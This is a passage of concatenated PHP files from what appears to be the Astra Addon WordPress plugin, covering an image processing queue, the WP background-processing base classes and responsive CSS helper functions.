$object_id ); foreach ( $image_meta['sizes'] as $size_name => $size ) { if ( 0 !== strpos( $size_name, 'ipq-' ) ) { continue; } $meta_value[ $size_name . '-' . $suffix ] = $size; unset( $image_meta['sizes'][ $size_name ] ); } if ( ! $this->is_updating_backup_sizes ) { $this->is_updating_backup_sizes = true; update_post_meta( $object_id, '_wp_attachment_backup_sizes', $meta_value ); wp_update_attachment_metadata( $object_id, $image_meta ); return true; } $this->is_updating_backup_sizes = false; return $check; } /** * Check if the image sizes exist and push them to the queue if not. * * @param int $post_id * @param array $sizes */ protected function process_image( $post_id, $sizes ) { $new_item = false; foreach ( $sizes as $size ) { if ( self::does_size_already_exist_for_image( $post_id, $size ) ) { continue; } if ( self::is_size_larger_than_original( $post_id, $size ) ) { continue; } $item = array( 'post_id' => $post_id, 'width' => $size[0], 'height' => $size[1], 'crop' => $size[2], ); $this->process->push_to_queue( $item ); $new_item = true; } if ( $new_item ) { $this->process->save()->dispatch(); } } /** * Get image HTML for a specific context in a theme, specifying the exact sizes * for the image. The first image size is always used as the `src` and the other * sizes are used in the `srcset` if they're the same aspect ratio as the original * image. If any of the image sizes don't currently exist, they are queued for * creation by a background process. Example: * * For echoing - echo ipq_get_theme_image( 1353, array( * array( 600, 400, false ), * array( 1280, 720, false ), * array( 1600, 1067, false ), * ), * array( * 'class' => 'header-banner' * ) * ); * * @param int $post_id Image attachment ID. * @param array $sizes Array of arrays of sizes in the format array(width,height,crop). * @param string $attr Optional. Attributes for the image markup. Default empty. * @return string HTML img element or empty string on failure. */ public function get_image( $post_id, $sizes, $attr = '' ) { $this->process_image( $post_id, $sizes ); return wp_get_attachment_image( $post_id, array( $sizes[0][0], $sizes[0][1] ), false, $attr ); } /** * Get image URL for a specific context in a theme, specifying the exact size * for the image. If the image size does not currently exist, it is queued for * creation by a background process. Example: * * For echoing - echo ipq_get_theme_image_url( 1353, array( 600, 400, false ) ); * * @param int $post_id * @param array $size * * @return string */ public function get_image_url( $post_id, $size ) { $this->process_image( $post_id, array( $size ) ); $size = self::get_size_name( $size ); $src = wp_get_attachment_image_src( $post_id, $size ); if ( isset( $src[0] ) ) { return $src[0]; } return ''; } /** * Get array index name for image size. * * @param array $size array in format array(width,height,crop). * @return string Image size name. */ public static function get_size_name( $size ) { $crop = $size[2] ? 'true' : 'false'; return 'ipq-' . $size[0] . 'x' . $size[1] . '-' . $crop; } /** * Get an image's file path. * * @param int $post_id ID of the image post. * @return false|string */ public static function get_image_path( $post_id ) { return get_attached_file( $post_id ); } /** * Get an image's post meta data. * * @param int $post_id ID of the image post. * @return mixed Post meta field. False on failure. */ public static function get_image_meta( $post_id ) { return wp_get_attachment_metadata( $post_id ); } /** * Update meta data for an image * * @param int $post_id Image ID. * @param array $data Image data. * @return bool|int False if $post is invalid. */ public static function update_image_meta( $post_id, $data ) { return wp_update_attachment_metadata( $post_id, $data ); } /** * Checks if an image size already exists for an image * * @param int $post_id Image ID. * @param array $size array in format array(width,height,crop). * @return bool */ public static function does_size_already_exist_for_image( $post_id, $size ) { $image_meta = self::get_image_meta( $post_id ); $size_name = self::get_size_name( $size ); return isset( $image_meta['sizes'][ $size_name ] ); } /** * Check if an image size is larger than the original. * * @param int $post_id Image ID. * @param array $size array in format array(width,height,crop). * * @return bool */ public static function is_size_larger_than_original( $post_id, $size ) { $image_meta = self::get_image_meta( $post_id ); if ( ! isset( $image_meta['width'] ) || ! isset( $image_meta['height'] ) ) { return true; } if ( $size[0] > $image_meta['width'] || $size[1] > $image_meta['height'] ) { return true; } return false; } } } library/image-processing-queue/includes/ipq-template-functions.php 0000666 00000003364 15165730731 0021537 0 ustar 00 <?php if ( ! function_exists( 'ipq_get_theme_image' ) ) { /** * Get image HTML for a specific context in a theme, specifying the exact sizes * for the image. The first image size is always used as the `src` and the other * sizes are used in the `srcset` if they're the same aspect ratio as the original * image. If any of the image sizes don't currently exist, they are queued for * creation by a background process. Example: * * For echoing - echo ipq_get_theme_image( 1353, array( * array( 600, 400, false ), * array( 1280, 720, false ), * array( 1600, 1067, false ), * ), * array( * 'class' => 'header-banner' * ) * ); * * @param int $post_id Image attachment ID. * @param array $sizes Array of arrays of sizes in the format array(width,height,crop). * @param string $attr Optional. Attributes for the image markup. Default empty. * * @return string HTML img element or empty string on failure. */ function ipq_get_theme_image( $post_id, $sizes, $attr = '' ) { return Image_Processing_Queue::instance()->get_image( $post_id, $sizes, $attr ); } } if ( ! function_exists( 'ipq_get_theme_image_url' ) ) { /** * Get image URL for a specific context in a theme, specifying the exact size * for the image. If the image size does not currently exist, it is queued for * creation by a background process. Example: * * For echoing - echo ipq_get_theme_image_url( 1353, array( 600, 400, false ) ); * * @param int $post_id * @param array $size * * @return string Img URL */ function ipq_get_theme_image_url( $post_id, $size ) { return Image_Processing_Queue::instance()->get_image_url( $post_id, $size ); } } library/batch-processing/wp-async-request.php 0000666 00000005614 15165730731 0015425 0 ustar 00 <?php /** * WP Async Request * * @package WP-Background-Processing */ if ( ! class_exists( 'WP_Async_Request' ) ) { /** * Abstract WP_Async_Request class. * * @abstract */ abstract class WP_Async_Request { /** * Prefix * * (default value: 'wp') * * @var string */ protected $prefix = 'wp'; /** * Action * * (default value: 'async_request') * * @var string */ protected $action = 'async_request'; /** * Identifier * * @var mixed */ protected $identifier; /** * Data * * (default value: array()) * * @var array */ protected $data = array(); /** * Initiate new async request */ public function __construct() { $this->identifier = $this->prefix . '_' . $this->action; add_action( 'wp_ajax_' . $this->identifier, array( $this, 'maybe_handle' ) ); add_action( 'wp_ajax_nopriv_' . $this->identifier, array( $this, 'maybe_handle' ) ); } /** * Set data used during the request * * @param array $data Data. * * @return $this */ public function data( $data ) { $this->data = $data; return $this; } /** * Dispatch the async request * * @return array|WP_Error */ public function dispatch() { $url = add_query_arg( $this->get_query_args(), $this->get_query_url() ); $args = $this->get_post_args(); return wp_remote_post( esc_url_raw( $url ), $args ); } /** * Get query args * * @return array */ protected function get_query_args() { if ( property_exists( $this, 'query_args' ) ) { return $this->query_args; } return array( 'action' => $this->identifier, 'nonce' => wp_create_nonce( $this->identifier ), ); } /** * Get query URL * * @return string */ protected function get_query_url() { if ( property_exists( $this, 'query_url' ) ) { return $this->query_url; } return admin_url( 'admin-ajax.php' ); } /** * Get post args * * @return array */ protected function get_post_args() { if ( property_exists( $this, 'post_args' ) ) { return $this->post_args; } return array( 'timeout' => 0.01, 'blocking' => false, 'body' => $this->data, 'cookies' => $_COOKIE, 'sslverify' => apply_filters( 'https_local_ssl_verify', false ), ); } /** * Maybe handle * * Check for correct nonce and pass to handler. */ public function maybe_handle() { // Don't lock up other requests while processing session_write_close(); check_ajax_referer( $this->identifier, 'nonce' ); $this->handle(); wp_die(); } /** * Handle * * Override this method to perform any actions required * during the async request. */ abstract protected function handle(); } } library/batch-processing/class-wp-background-process-astra-addon.php 0000666 00000002704 15165730731 0021710 0 ustar 00 <?php /** * Database Background Process * * @package Astra * @since 2.1.3 */ if ( class_exists( 'WP_Background_Process' ) ) : /** * Database Background Process * * @since 2.1.3 */ class WP_Background_Process_Astra_Addon extends WP_Background_Process { /** * Database Process * * @var string */ protected $action = 'addon_database_migration'; /** * Task * * Override this method to perform any actions required on each * queue item. Return the modified item for further processing * in the next pass through. Or, return false to remove the * item from the queue. * * @since 2.1.3 * * @param object $process Queue item object. * @return mixed */ protected function task( $process ) { do_action( 'astra_addon_batch_process_task' . '-' . $process, $process ); if ( function_exists( $process ) ) { call_user_func( $process ); } if ( 'update_db_version' === $process ) { Astra_Addon_Background_Updater::update_db_version(); } return false; } /** * Complete * * Override if applicable, but ensure that the below actions are * performed, or, call parent::complete(). * * @since 2.1.3 */ protected function complete() { error_log( 'Astra Addon: Batch Process Completed!' ); do_action( 'astra_addon_database_migration_complete' ); parent::complete(); } } endif; library/batch-processing/wp-background-process.php 0000666 00000026256 15165730731 0016422 0 ustar 00 <?php /** * WP Background Process * * @package WP-Background-Processing */ if ( ! class_exists( 'WP_Background_Process' ) ) { /** * Abstract WP_Background_Process class. * * @abstract * @extends WP_Async_Request */ abstract class WP_Background_Process extends WP_Async_Request { /** * Action * * (default value: 'background_process') * * @var string */ protected $action = 'background_process'; /** * Start time of current process. * * (default value: 0) * * @var int */ protected $start_time = 0; /** * Cron_hook_identifier * * @var mixed */ protected $cron_hook_identifier; /** * Cron_interval_identifier * * @var mixed */ protected $cron_interval_identifier; /** * Initiate new background process */ public function __construct() { parent::__construct(); $this->cron_hook_identifier = $this->identifier . '_cron'; $this->cron_interval_identifier = $this->identifier . '_cron_interval'; add_action( $this->cron_hook_identifier, array( $this, 'handle_cron_healthcheck' ) ); add_filter( 'cron_schedules', array( $this, 'schedule_cron_healthcheck' ) ); } /** * Dispatch * * @return void */ public function dispatch() { // Schedule the cron healthcheck. $this->schedule_event(); // Perform remote post. return parent::dispatch(); } /** * Push to queue * * @param mixed $data Data. * * @return $this */ public function push_to_queue( $data ) { $this->data[] = $data; return $this; } /** * Save queue * * @return $this */ public function save() { $key = $this->generate_key(); if ( ! empty( $this->data ) ) { update_site_option( $key, $this->data ); } return $this; } /** * Update queue * * @param string $key Key. * @param array $data Data. * * @return $this */ public function update( $key, $data ) { if ( ! empty( $data ) ) { update_site_option( $key, $data ); } return $this; } /** * Delete queue * * @param string $key Key. * * @return $this */ public function delete( $key ) { delete_site_option( $key ); return $this; } /** * Generate key * * Generates a unique key based on microtime. Queue items are * given a unique key so that they can be merged upon save. * * @param int $length Length. * * @return string */ protected function generate_key( $length = 64 ) { $unique = md5( microtime() . rand() ); $prepend = $this->identifier . '_batch_'; return substr( $prepend . $unique, 0, $length ); } /** * Maybe process queue * * Checks whether data exists within the queue and that * the process is not already running. */ public function maybe_handle() { // Don't lock up other requests while processing session_write_close(); if ( $this->is_process_running() ) { // Background process already running. wp_die(); } if ( $this->is_queue_empty() ) { // No data to process. wp_die(); } check_ajax_referer( $this->identifier, 'nonce' ); $this->handle(); wp_die(); } /** * Is queue empty * * @return bool */ protected function is_queue_empty() { global $wpdb; $wpdb->ast_db_table = $wpdb->options; $wpdb->ast_db_column = 'option_name'; if ( is_multisite() ) { $wpdb->ast_db_table = $wpdb->sitemeta; $wpdb->ast_db_column = 'meta_key'; } $key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%'; $count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->ast_db_table} WHERE {$wpdb->ast_db_column} LIKE %s ", $key ) ); return ( $count > 0 ) ? false : true; } /** * Is process running * * Check whether the current process is already running * in a background process. */ protected function is_process_running() { if ( get_site_transient( $this->identifier . '_process_lock' ) ) { // Process already running. return true; } return false; } /** * Lock process * * Lock the process so that multiple instances can't run simultaneously. * Override if applicable, but the duration should be greater than that * defined in the time_exceeded() method. */ protected function lock_process() { $this->start_time = time(); // Set start time of current process. $lock_duration = ( property_exists( $this, 'queue_lock_time' ) ) ? $this->queue_lock_time : 60; // 1 minute $lock_duration = apply_filters( $this->identifier . '_queue_lock_time', $lock_duration ); set_site_transient( $this->identifier . '_process_lock', microtime(), $lock_duration ); } /** * Unlock process * * Unlock the process so that other instances can spawn. * * @return $this */ protected function unlock_process() { delete_site_transient( $this->identifier . '_process_lock' ); return $this; } /** * Get batch * * @return stdClass Return the first batch from the queue */ protected function get_batch() { global $wpdb; $wpdb->ast_db_table = $wpdb->options; $wpdb->ast_db_column = 'option_name'; $wpdb->ast_db_key_column = 'option_id'; $value_column = 'option_value'; if ( is_multisite() ) { $wpdb->ast_db_table = $wpdb->sitemeta; $wpdb->ast_db_column = 'meta_key'; $wpdb->ast_db_key_column = 'meta_id'; $value_column = 'meta_value'; } $key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%'; $query = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->ast_db_table} WHERE {$wpdb->ast_db_column} LIKE %s ORDER BY {$wpdb->ast_db_key_column} ASC LIMIT 1", $key ) ); $batch = new stdClass(); $batch->key = $query->{$wpdb->ast_db_column}; $batch->data = maybe_unserialize( $query->$value_column ); return $batch; } /** * Handle * * Pass each queue item to the task handler, while remaining * within server memory and time limit constraints. */ protected function handle() { $this->lock_process(); do { $batch = $this->get_batch(); foreach ( $batch->data as $key => $value ) { $task = $this->task( $value ); if ( false !== $task ) { $batch->data[ $key ] = $task; } else { unset( $batch->data[ $key ] ); } if ( $this->time_exceeded() || $this->memory_exceeded() ) { // Batch limits reached. break; } } // Update or delete current batch. if ( ! empty( $batch->data ) ) { $this->update( $batch->key, $batch->data ); } else { $this->delete( $batch->key ); } } while ( ! $this->time_exceeded() && ! $this->memory_exceeded() && ! $this->is_queue_empty() ); $this->unlock_process(); // Start next batch or complete process. if ( ! $this->is_queue_empty() ) { $this->dispatch(); } else { $this->complete(); } wp_die(); } /** * Memory exceeded * * Ensures the batch process never exceeds 90% * of the maximum WordPress memory. * * @return bool */ protected function memory_exceeded() { $memory_limit = $this->get_memory_limit() * 0.9; // 90% of max memory $current_memory = memory_get_usage( true ); $return = false; if ( $current_memory >= $memory_limit ) { $return = true; } return apply_filters( $this->identifier . '_memory_exceeded', $return ); } /** * Get memory limit * * @return int */ protected function get_memory_limit() { if ( function_exists( 'ini_get' ) ) { $memory_limit = ini_get( 'memory_limit' ); } else { // Sensible default. $memory_limit = '128M'; } if ( ! $memory_limit || -1 === intval( $memory_limit ) ) { // Unlimited, set to 32GB. $memory_limit = '32000M'; } return intval( $memory_limit ) * 1024 * 1024; } /** * Time exceeded. * * Ensures the batch never exceeds a sensible time limit. * A timeout limit of 30s is common on shared hosting. * * @return bool */ protected function time_exceeded() { $finish = $this->start_time + apply_filters( $this->identifier . '_default_time_limit', 20 ); // 20 seconds $return = false; if ( time() >= $finish ) { $return = true; } return apply_filters( $this->identifier . '_time_exceeded', $return ); } /** * Complete. * * Override if applicable, but ensure that the below actions are * performed, or, call parent::complete(). */ protected function complete() { // Unschedule the cron healthcheck. $this->clear_scheduled_event(); } /** * Schedule cron healthcheck * * @param mixed $schedules Schedules. * @return mixed */ public function schedule_cron_healthcheck( $schedules ) { $interval = apply_filters( $this->identifier . '_cron_interval', 5 ); if ( property_exists( $this, 'cron_interval' ) ) { $interval = apply_filters( $this->identifier . '_cron_interval', $this->cron_interval ); } // Adds every 5 minutes to the existing schedules. $schedules[ $this->identifier . '_cron_interval' ] = array( 'interval' => MINUTE_IN_SECONDS * $interval, 'display' => sprintf( /* translators: %d Time interval */ __( 'Every %d Minutes' ), $interval ), ); return $schedules; } /** * Handle cron healthcheck * * Restart the background process if not already running * and data exists in the queue. */ public function handle_cron_healthcheck() { if ( $this->is_process_running() ) { // Background process already running. exit; } if ( $this->is_queue_empty() ) { // No data to process. $this->clear_scheduled_event(); exit; } $this->handle(); exit; } /** * Schedule event */ protected function schedule_event() { if ( ! wp_next_scheduled( $this->cron_hook_identifier ) ) { wp_schedule_event( time(), $this->cron_interval_identifier, $this->cron_hook_identifier ); } } /** * Clear scheduled event */ protected function clear_scheduled_event() { $timestamp = wp_next_scheduled( $this->cron_hook_identifier ); if ( $timestamp ) { wp_unschedule_event( $timestamp, $this->cron_hook_identifier ); } } /** * Cancel Process * * Stop processing queue items, clear cronjob and delete batch. */ public function cancel_process() { if ( ! $this->is_queue_empty() ) { $batch = $this->get_batch(); $this->delete( $batch->key ); wp_clear_scheduled_hook( $this->cron_hook_identifier ); } } /** * Task * * Override this method to perform any actions required on each * queue item. Return the modified item for further processing * in the next pass through. Or, return false to remove the * item from the queue. * * @param mixed $item Queue item to iterate over. * * @return mixed */ abstract protected function task( $item ); } } astra-common-functions.php 0000666 00000046424 15165730731 0011711 0 ustar 00 <?php /** * Astra Theme & Addon Common function. * * @package Astra Addon */ /** * Apply CSS for the element */ if ( ! function_exists( 'astra_color_responsive_css' ) ) { /** * Astra Responsive Colors * * @param array $setting Responsive colors. * @param string $css_property CSS property. * @param string $selector CSS selector. * @return string Dynamic responsive CSS. */ function astra_color_responsive_css( $setting, $css_property, $selector ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $css = ''; if ( isset( $setting['desktop'] ) && ! empty( $setting['desktop'] ) ) { $css .= $selector . '{' . $css_property . ':' . esc_attr( $setting['desktop'] ) . ';}'; } if ( isset( $setting['tablet'] ) && ! empty( $setting['tablet'] ) ) { $css .= '@media (max-width:' . astra_addon_get_tablet_breakpoint() . 'px) {' . $selector . '{' . $css_property . ':' . esc_attr( $setting['tablet'] ) . ';} }'; } if ( isset( $setting['mobile'] ) && ! empty( $setting['mobile'] ) ) { $css .= '@media (max-width:' . astra_addon_get_mobile_breakpoint() . 'px) {' . $selector . '{' . $css_property . ':' . esc_attr( $setting['mobile'] ) . ';} }'; } return $css; } } /** * Get Font Size value */ if ( ! function_exists( 'astra_responsive_font' ) ) { /** * Get Font CSS value * * @param array $font CSS value. * @param string $device CSS device. * @param string $default Default value. * @return mixed */ function astra_responsive_font( $font, $device = 'desktop', $default = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $css_val = ''; if ( isset( $font[ $device ] ) && isset( $font[ $device . '-unit' ] ) ) { if ( '' != $default ) { $font_size = astra_get_css_value( $font[ $device ], $font[ $device . '-unit' ], $default ); } else { $font_size = astra_get_font_css_value( $font[ $device ], $font[ $device . '-unit' ] ); } } elseif ( is_numeric( $font ) ) { $font_size = astra_get_css_value( $font ); } else { $font_size = ( ! is_array( $font ) ) ? $font : ''; } return $font_size; } } if ( function_exists( 'astra_do_action_deprecated' ) ) { // Depreciating astra_woo_qv_product_summary filter. add_action( 'astra_woo_quick_view_product_summary', 'astra_addon_deprecated_astra_woo_quick_view_product_summary_action', 10 ); /** * Astra Color Palettes * * @since 1.1.2 */ function astra_addon_deprecated_astra_woo_quick_view_product_summary_action() { astra_do_action_deprecated( 'astra_woo_qv_product_summary', array(), '1.0.22', 'astra_woo_quick_view_product_summary', '' ); } } /** * Get Responsive Spacing */ if ( ! function_exists( 'astra_responsive_spacing' ) ) { /** * Get Spacing value * * @param array $option CSS value. * @param string $side top | bottom | left | right. * @param string $device CSS device. * @param string $default Default value. * @param string $prefix Prefix value. * @return mixed */ function astra_responsive_spacing( $option, $side = '', $device = 'desktop', $default = '', $prefix = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound if ( isset( $option[ $device ][ $side ] ) && isset( $option[ $device . '-unit' ] ) ) { $spacing = astra_get_css_value( $option[ $device ][ $side ], $option[ $device . '-unit' ], $default ); } elseif ( is_numeric( $option ) ) { $spacing = astra_get_css_value( $option ); } else { $spacing = ( ! is_array( $option ) ) ? $option : ''; } if ( '' !== $prefix && '' !== $spacing ) { return $prefix . $spacing; } return $spacing; } } /** * Get calc Responsive Spacing */ if ( ! function_exists( 'astra_calc_spacing' ) ) { /** * Get Spacing value * * @param array $value Responsive spacing value with unit. * @param string $operation + | - | * | /. * @param string $from Perform operation from the value. * @param string $from_unit Perform operation from the value of unit. * @return mixed */ function astra_calc_spacing( $value, $operation = '', $from = '', $from_unit = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $css = ''; if ( ! empty( $value ) ) { $css = $value; if ( ! empty( $operation ) && ! empty( $from ) ) { if ( ! empty( $from_unit ) ) { $css = 'calc( ' . $value . ' ' . $operation . ' ' . $from . $from_unit . ' )'; } if ( '*' === $operation || '/' === $operation ) { $css = 'calc( ' . $value . ' ' . $operation . ' ' . $from . ' )'; } } } return $css; } } /** * Adjust the background obj. */ if ( ! function_exists( 'astra_get_background_obj' ) ) { /** * Adjust Brightness * * @param array $bg_obj Color code in HEX. * * @return array Color code in HEX. */ function astra_get_background_obj( $bg_obj ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $gen_bg_css = array(); $bg_img = isset( $bg_obj['background-image'] ) ? $bg_obj['background-image'] : ''; $bg_color = isset( $bg_obj['background-color'] ) ? $bg_obj['background-color'] : ''; $bg_type = isset( $bg_obj['background-type'] ) ? $bg_obj['background-type'] : ''; if ( '' !== $bg_type ) { switch ( $bg_type ) { case 'color': if ( '' !== $bg_img && '' !== $bg_color ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $bg_color . ', ' . $bg_color . '), url(' . $bg_img . ');'; } elseif ( '' === $bg_img ) { $gen_bg_css['background-color'] = $bg_color . ';'; } break; case 'image': $overlay_type = isset( $bg_obj['overlay-type'] ) ? $bg_obj['overlay-type'] : 'none'; $overlay_color = isset( $bg_obj['overlay-color'] ) ? $bg_obj['overlay-color'] : ''; $overlay_grad = isset( $bg_obj['overlay-gradient'] ) ? $bg_obj['overlay-gradient'] : ''; if ( '' !== $bg_img ) { if ( 'none' !== $overlay_type ) { if ( 'classic' === $overlay_type && '' !== $overlay_color ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $overlay_color . ', ' . $overlay_color . '), url(' . $bg_img . ');'; } elseif ( 'gradient' === $overlay_type && '' !== $overlay_grad ) { $gen_bg_css['background-image'] = $overlay_grad . ', url(' . $bg_img . ');'; } else { $gen_bg_css['background-image'] = 'url(' . $bg_img . ');'; } } else { $gen_bg_css['background-image'] = 'url(' . $bg_img . ');'; } } break; case 'gradient': if ( isset( $bg_color ) ) { $gen_bg_css['background-image'] = $bg_color . ';'; } break; default: break; } } elseif ( '' !== $bg_color ) { $gen_bg_css['background-color'] = $bg_color . ';'; } if ( '' !== $bg_img ) { if ( isset( $bg_obj['background-repeat'] ) ) { $gen_bg_css['background-repeat'] = esc_attr( $bg_obj['background-repeat'] ); } if ( isset( $bg_obj['background-position'] ) ) { $gen_bg_css['background-position'] = esc_attr( $bg_obj['background-position'] ); } if ( isset( $bg_obj['background-size'] ) ) { $gen_bg_css['background-size'] = esc_attr( $bg_obj['background-size'] ); } if ( isset( $bg_obj['background-attachment'] ) ) { $gen_bg_css['background-attachment'] = esc_attr( $bg_obj['background-attachment'] ); } } return $gen_bg_css; } } /** * Adjust the background obj. */ if ( ! function_exists( 'astra_get_responsive_background_obj' ) ) { /** * Add Responsive bacground CSS * * @param array $bg_obj_res Color array. * @param array $device Device name. * * @return array Color code in HEX. */ function astra_get_responsive_background_obj( $bg_obj_res, $device ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $gen_bg_css = array(); if ( ! is_array( $bg_obj_res ) ) { return; } $bg_obj = $bg_obj_res[ $device ]; $bg_img = isset( $bg_obj['background-image'] ) ? $bg_obj['background-image'] : ''; $bg_tab_img = isset( $bg_obj_res['tablet']['background-image'] ) ? $bg_obj_res['tablet']['background-image'] : ''; $bg_desk_img = isset( $bg_obj_res['desktop']['background-image'] ) ? $bg_obj_res['desktop']['background-image'] : ''; $bg_color = isset( $bg_obj['background-color'] ) ? $bg_obj['background-color'] : ''; $tablet_css = ( isset( $bg_obj_res['tablet']['background-image'] ) && $bg_obj_res['tablet']['background-image'] ) ? true : false; $desktop_css = ( isset( $bg_obj_res['desktop']['background-image'] ) && $bg_obj_res['desktop']['background-image'] ) ? true : false; $bg_type = ( isset( $bg_obj['background-type'] ) && $bg_obj['background-type'] ) ? $bg_obj['background-type'] : ''; if ( '' !== $bg_type ) { switch ( $bg_type ) { case 'color': if ( '' !== $bg_img && '' !== $bg_color ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $bg_color . ', ' . $bg_color . '), url(' . $bg_img . ');'; } elseif ( 'mobile' === $device ) { if ( $desktop_css ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $bg_color . ', ' . $bg_color . '), url(' . $bg_desk_img . ');'; } elseif ( $tablet_css ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $bg_color . ', ' . $bg_color . '), url(' . $bg_tab_img . ');'; } else { $gen_bg_css['background-color'] = $bg_color . ';'; $gen_bg_css['background-image'] = 'none;'; } } elseif ( 'tablet' === $device ) { if ( $desktop_css ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $bg_color . ', ' . $bg_color . '), url(' . $bg_desk_img . ');'; } else { $gen_bg_css['background-color'] = $bg_color . ';'; $gen_bg_css['background-image'] = 'none;'; } } elseif ( '' === $bg_img ) { $gen_bg_css['background-color'] = $bg_color . ';'; $gen_bg_css['background-image'] = 'none;'; } break; case 'image': /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $overlay_type = isset( $bg_obj['overlay-type'] ) ? $bg_obj['overlay-type'] : 'none'; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $overlay_color = isset( $bg_obj['overlay-color'] ) ? $bg_obj['overlay-color'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $overlay_grad = isset( $bg_obj['overlay-gradient'] ) ? $bg_obj['overlay-gradient'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( '' !== $bg_img ) { if ( 'none' !== $overlay_type ) { if ( 'classic' === $overlay_type && '' !== $overlay_color ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $overlay_color . ', ' . $overlay_color . '), url(' . $bg_img . ');'; } elseif ( 'gradient' === $overlay_type && '' !== $overlay_grad ) { $gen_bg_css['background-image'] = $overlay_grad . ', url(' . $bg_img . ');'; } else { $gen_bg_css['background-image'] = 'url(' . $bg_img . ');'; } } else { $gen_bg_css['background-image'] = 'url(' . $bg_img . ');'; } } break; case 'gradient': if ( isset( $bg_color ) ) { $gen_bg_css['background-image'] = $bg_color . ';'; } break; default: break; } } elseif ( '' !== $bg_color ) { $gen_bg_css['background-color'] = $bg_color . ';'; } if ( '' !== $bg_img ) { if ( isset( $bg_obj['background-repeat'] ) ) { $gen_bg_css['background-repeat'] = esc_attr( $bg_obj['background-repeat'] ); } if ( isset( $bg_obj['background-position'] ) ) { $gen_bg_css['background-position'] = esc_attr( $bg_obj['background-position'] ); } if ( isset( $bg_obj['background-size'] ) ) { $gen_bg_css['background-size'] = esc_attr( $bg_obj['background-size'] ); } if ( isset( $bg_obj['background-attachment'] ) ) { $gen_bg_css['background-attachment'] = esc_attr( $bg_obj['background-attachment'] ); } } return $gen_bg_css; } } /** * Search Form */ if ( ! function_exists( 'astra_addon_get_search_form' ) ) : /** * Display search form. * * @param bool $echo Default to echo and not return the form. * @return string|void String when $echo is false. */ function astra_addon_get_search_form( $echo = true ) { // get customizer placeholder field value. $astra_search_input_placeholder = isset( $args['input_placeholder'] ) ? $args['input_placeholder'] : astra_default_strings( 'string-search-input-placeholder', false ); $form = '<form role="search" method="get" class="search-form" action="' . esc_url( home_url( '/' ) ) . '"> <label> <span class="screen-reader-text">' . _x( 'Search for:', 'label', 'astra-addon' ) . '</span> <input type="search" class="search-field" placeholder="' . esc_attr( $astra_search_input_placeholder ) . '" value="' . get_search_query() . '" name="s" /> </label> <button type="submit" class="search-submit" value="' . esc_attr__( 'Search', 'astra-addon' ) . '" aria-label= "' . esc_attr__( 'Search', 'astra-addon' ) . '"><i class="astra-search-icon"> ' . Astra_Icons::get_icons( 'search' ) . ' </i></button> </form>'; /** * Filters the HTML output of the search form. * * @param string $form The search form HTML output. */ $result = apply_filters( 'astra_get_search_form', $form ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound if ( null === $result ) { $result = $form; } if ( $echo ) { echo wp_kses( $result, Astra_Addon_Kses::astra_addon_form_with_post_kses_protocols() ); } else { return $result; } } endif; /** * Get instance of WP_Filesystem. * * @since 2.6.4 * * @return WP_Filesystem */ function astra_addon_filesystem() { return astra_addon_filesystem::instance(); } /** * Check the WordPress version. * * @since 2.7.0 * @param string $version WordPress version to compare with the current version. * @param string $compare Comparison value i.e > or < etc. * @return bool True/False based on the $version and $compare value. */ function astra_addon_wp_version_compare( $version, $compare ) { return version_compare( get_bloginfo( 'version' ), $version, $compare ); } /** * Adjust Brightness * * @param array $bg_obj Color code in HEX. * * @return array Color code in HEX. * * @since 2.7.1 */ function astra_addon_get_megamenu_background_obj( $bg_obj ) { $gen_bg_css = array(); $bg_img = isset( $bg_obj['background-image'] ) ? $bg_obj['background-image'] : ''; $bg_color = isset( $bg_obj['background-color'] ) ? $bg_obj['background-color'] : ''; if ( '' !== $bg_img && '' !== $bg_color ) { $gen_bg_css = array( 'background-image' => 'linear-gradient(to right, ' . esc_attr( $bg_color ) . ', ' . esc_attr( $bg_color ) . '), url(' . esc_url( $bg_img ) . ')', ); } elseif ( '' !== $bg_img ) { $gen_bg_css = array( 'background-image' => 'url(' . esc_url( $bg_img ) . ')' ); } elseif ( '' !== $bg_color ) { $gen_bg_css = array( 'background-color' => esc_attr( $bg_color ) ); } if ( '' !== $bg_img ) { if ( isset( $bg_obj['background-repeat'] ) ) { $gen_bg_css['background-repeat'] = esc_attr( $bg_obj['background-repeat'] ); } if ( isset( $bg_obj['background-position'] ) ) { $gen_bg_css['background-position'] = esc_attr( $bg_obj['background-position'] ); } if ( isset( $bg_obj['background-size'] ) ) { $gen_bg_css['background-size'] = esc_attr( $bg_obj['background-size'] ); } if ( isset( $bg_obj['background-attachment'] ) ) { $gen_bg_css['background-attachment'] = esc_attr( $bg_obj['background-attachment'] ); } } return $gen_bg_css; } /** * Calculate Astra Mega-menu spacing. * * @param array $spacing_obj - Spacing dimensions with their values. * * @return array parsed CSS. * * @since 3.0.0 */ function astra_addon_get_megamenu_spacing_css( $spacing_obj ) { $gen_spacing_css = array(); foreach ( $spacing_obj as $property => $value ) { if ( '' == $value && 0 !== $value ) { continue; } 